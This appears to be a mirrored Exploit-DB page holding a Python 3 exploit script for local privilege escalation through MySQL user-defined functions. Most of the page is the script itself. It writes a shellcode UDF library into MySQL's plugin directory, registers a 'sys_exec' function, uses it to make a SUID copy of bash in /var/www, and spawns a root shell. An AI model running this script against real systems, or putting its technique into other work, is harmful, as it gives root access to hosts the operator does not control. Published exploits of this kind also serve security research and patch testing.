MySQL User-Defined (Linux) x32 / x86_64 – ‘sys_exec’ Local Privilege Escalation (2)

Exploit Database
105 阅读

作者： ninpwn

日期： 2021-08-30
类别：
- local
平台：
- linux
来源：https://www.exploit-db.com/exploits/50236/

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# Exploit Title: MySQL User-Defined (Linux) x32 / x86_64 - 'sys_exec' Local Privilege Escalation (2)

# Date: 29/08/2021

# Exploit Author: ninpwn

# Vendor Homepage: https://www.mysql.com

# Software Link: www.mysql.com

# Version: MySQL 4.x/5.x

# Tested on: Debian GNU/Linux 9 / mysql Ver 14.14 Distrib 5.7.30, for Linux (x86_64) using EditLine wrapper

# CVE : N/A

'''

*** MySQL User-Defined (Linux) x32 / x86_64 sys_exec function Local Privilege Escalation Exploit - Python 3 Version ***

UDF lib shellcodes retrieved from metasploit

(there are windows .dll libraries within metasploit as well so this could be easily ported to Windows)

Based on the Python 2 exploit by D7X (EDB ID: 46249) and the famous raptor_udf.c by Marco Ivaldi (EDB ID: 1518)

CVE: N/A

References:

https://dev.mysql.com/doc/refman/5.5/en/create-function-udf.html

https://www.exploit-db.com/exploits/1518

https://www.exploit-db.com/exploits/46249

https://www.exploit-db.com/papers/44139/ - MySQL UDF Exploitation by Osanda Malith Jayathissa (@OsandaMalith)

Tested on Linux 4.9.0-12-amd64 #1 SMP Debian 4.9.210-1 (2020-01-20) x86_64 GNU/Linux

@ninpwn

https://twitter.com/ninpwn

'''

#!/usr/bin/python3

import sys

import subprocess

import platform, random

import argparse

import os

import re

import pty

shellcode_x32 = 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shellcode_x64 = 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shellcode = shellcode_x32

if (platform.architecture()[0] == '64bit'):

shellcode = shellcode_x64

# MySQL username and password: make sure you have FILE privileges and mysql is actually running as root

# username='root'

# password=''

###

#if len(sys.argv) != 2:

# print "Usage: %s <username> <password>" % argv[0]

#username=sys.argv[1];

#password=sys.argv[2];

###

parser = argparse.ArgumentParser()

parser.add_argument('--username', '-u', help='MySQL username', type=str, required=True)

parser.add_argument('--password', '-p', help='MySQL password', type=str)

args = parser.parse_args()

username=args.username

password=args.password

if not password:

password=''

cmd='mysql -u root -p\'' + password + '\' -e "select @@plugin_dir \G"'

plugin_str = subprocess.check_output(cmd, shell=True)

plugin_dir = re.search('@plugin_dir: (\S*)', plugin_str)

res = bool(plugin_dir)

if not res:

print("Error: could not locate the plugin directory")

os.exit(1);

plugin_dir_ = plugin_dir.group(1)

print("Plugin dir is %s" % plugin_dir_)

# file to save the udf so file to

udf_filename = 'udf' + str(random.randint(1000,10000)) + '.so'

udf_outfile = plugin_dir_ + udf_filename

# alternative way:

# set @outputpath := @@plugin_dir; set @outputpath := @@plugin_dir;

print("Trying to create a udf library...");

os.system('mysql -u root -p\'' + password + '\' -e "select binary 0x' + shellcode + ' into dumpfile \'%s\' \G"' % udf_outfile)

res = os.path.isfile(udf_outfile)

if not res:

print("Error: could not create udf file in %s (mysql is either not running as root or may be file exists?)" % udf_outfile)

os.exit(1);

print("UDF library created successfully: %s" % udf_outfile);

print("Trying to create sys_exec...")

os.system('mysql -u root -p\'' + password + '\' -e "create function sys_exec returns int soname \'%s\'\G"' % udf_filename)

print("Checking if sys_exec was created...")

cmd='mysql -u root -p\'' + password + '\' -e "select * from mysql.func where name=\'sys_exec\' \G"';

res = subprocess.check_output(cmd, shell=True);

if (res == ''):

print("sys_exec was not found (good luck next time!)")

if res:

print("sys_exec was found: %s" % res)

print("Generating a SUID binary in /var/www/bash...")

os.system('mysql -u root -p\'' + password + '\' -e "select sys_exec(\'cp /bin/bash /var/www/bash && chmod +s /var/www/bash\')"')

print("Trying to spawn a root shell...")

os.system("cd /var/www && ./bash -p")